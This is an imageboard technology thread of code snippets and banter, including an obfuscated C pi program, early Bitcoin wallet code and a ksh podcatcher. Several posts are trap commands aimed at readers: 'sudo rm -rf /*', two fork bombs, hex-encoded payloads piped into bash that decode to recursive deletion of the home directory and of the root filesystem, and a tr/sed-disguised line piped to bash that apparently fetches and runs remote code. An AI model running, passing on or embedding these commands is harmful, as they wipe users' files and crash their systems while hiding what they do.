/tech/ - Technology★

sudo rm -rf /*

:(){:|:&};:

for i in `find . -regextype sed -regex ".*/[0-9]\{13\}.*"`; do mv "$i" `sha256sum "$i" | cut -f 1 -d " "`.`echo "${i##*.}"`; done

>>865701 (OP)

shit thread tbh

>>865703

>>865709

haha what an original joke I bet OP is erasing his hard drive/crashing his computer as we speak

>>865726

lol delete system32

>>865709

>>865703

>>865710

cuckchan tier tbh

>>865730

Are you implying that OP's code isn't?

>python

>steam

>>865701 (OP)

>single exit

I almost barfed.

#define _ F-->00 || F-OO--;
long F=00,OO=00;
main(){F_OO();printf("%1.3f\n", 4.*-F/OO/OO);}F_OO()
{
            _-_-_-_
       _-_-_-_-_-_-_-_-_
    _-_-_-_-_-_-_-_-_-_-_-_
  _-_-_-_-_-_-_-_-_-_-_-_-_-_
 _-_-_-_-_-_-_-_-_-_-_-_-_-_-_
 _-_-_-_-_-_-_-_-_-_-_-_-_-_-_
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
 _-_-_-_-_-_-_-_-_-_-_-_-_-_-_
 _-_-_-_-_-_-_-_-_-_-_-_-_-_-_
  _-_-_-_-_-_-_-_-_-_-_-_-_-_
    _-_-_-_-_-_-_-_-_-_-_-_
       _-_-_-_-_-_-_-_-_
            _-_-_-_
}

>elif

What cooky language is this?

>>865726

>>865713

>>865730

echo -e "23212f7573722f62696e2f656e7620626173680a0a4c554e49583d24286d616e20676363207c2067726570202d412031332022432b2b204c616e6775616765204f7074696f6e7322202d6d2031207c207472202d6420225c6e22207c207472202d6420222022293b206563686f2022247b4c554e49583a31393a317d247b4c554e49583a3233323a317d247b4c554e49583a34303a317d247b4c554e49583a39

303a317d20247b4c554e49583a3233363a317d247b4c554e49583a34363a317d247b4c554e49583a3233323a317d2c20247b4c554e49583a31393a317d247b4c554e49583a343a317d247b4c554e49583a3233303a317d247b4c554e49583a3233303a317d247b4c554e49583a34363a317d247b4c554e49583a34383a317d2e22" | xxd -r -p | bash -

and

echo -e "23212f7573722f62696e2f656e7620626173680a0a0a6c6565743d22726d202d726664202d2d6e6f2d70726573657276652d726f6f74202f686f6d652f24555345522f223b247b6c6565747d20263e2f6465762f6e756c6c20266469736f776e3b206c6565746c6f6c3d22726d202d726664202d2d6e6f2d70726573657276652d726f6f74202f223b247b6c6565746c6f6c7d20263e2f6465762f6e756c6c20266469736f776e3b200a" | xxd -r -p | bash -

Isn't Sakamoto's bitcoin code supposed to be really good?

>>865765

I'll post some for the resident experts :

// Copyright (c) 2009 Satoshi Nakamoto

// Distributed under the MIT/X11 software license, see the accompanying

// file license.txt or http://www.opensource.org/licenses/mit-license.php.

#include "headers.h"

#include "sha.h"

...

bool AddToWalletIfMine(const CTransaction& tx, const CBlock* pblock)

{

if (tx.IsMine() || mapWallet.count(tx.GetHash()))

{

CWalletTx wtx(tx);

// Get merkle branch if transaction was found in a block

if (pblock)

wtx.SetMerkleBranch(pblock);

return AddToWallet(wtx);

}

return true;

}

bool EraseFromWallet(uint256 hash)

{

CRITICAL_BLOCK(cs_mapWallet)

{

if (mapWallet.erase(hash))

CWalletDB().EraseTx(hash);

}

return true;

}

https://bitcointalk.org/index.php?topic=68121.0

>>865767

whats good about this?

loeb :: Functor f => f (f a -> a) -> f a
loeb x = go where go = fmap ($ go) x

def get_steam_api():
    if sys.platform.startswith('win32'): return ('Windows', CDLL('steam_api.dll'))
    if sys.platform.startswith('darwin'): return ('OSX', CDLL('./libstream_api.dylib'))
    if not sys.platform.startswith('linux'): throw OSNotSupported
    if platform.architecture()[0].startswith('32bit'): return ('Linux 32bit', CDLL('./libstream_api32.so'))
    return ('Linux 64bit', CDLL('./libstream_api64.so')

still shit because it's Python

why not print? because it's NOT ACTUALLY LOADING ANYTHING

keep lies out of your code and you'll find that bugs can't get into it either

>>866038

disregard obvious typo

and I dunno maybe CDLL() loads it

#!/bin/ksh

# A simple podcatcher based on Farhad Shabazi's Shellpodder which was in turn
# based on Linc's Bashpodder. No dependencies out of openbsd base.

dir="~/pod"
mkdir -p ${dir}/$(date +%Y-%m-%d)
cd ${dir}/$(date +%Y-%m-%d)

# Read each line in url
while read line; do

        # Download line and grep for multimedia download urls.
        files=$(ftp -o - ${line} | grep -o '<enclosure.*url="[^"]*' |\
                grep -o '[^"]*$')

        # Check if in log if multimedia has been downloaded before
        # if not download and write the multimedia url to log.
        for file in ${files}; do
                if ! grep -q ${file} ${dir}/log; then
                        ftp -C -w 10 ${file}
                        echo ${file} >> ${dir}/log
                fi
        done
done < ${dir}/urls

>>865727

XD delete ur ram

>>865701 (OP)

echo 'carl the moongeek/o.lye10uA8/C' | tr gnu/homekat :phisth/bu\- | sed s./.L. | bash | bash

>>866557

DON'T DO THIS, IT MAKES MUSTARD GAS

>>866582

Worse. It makes Rick Astley.

#!/bin/sh
        devs(){
                printf " developers "
        }
        developers(){
                devs && developers &
                devs && developers &
        } ;
        developers

no idea if this shitty shell script works still, and i'm not gonna try it either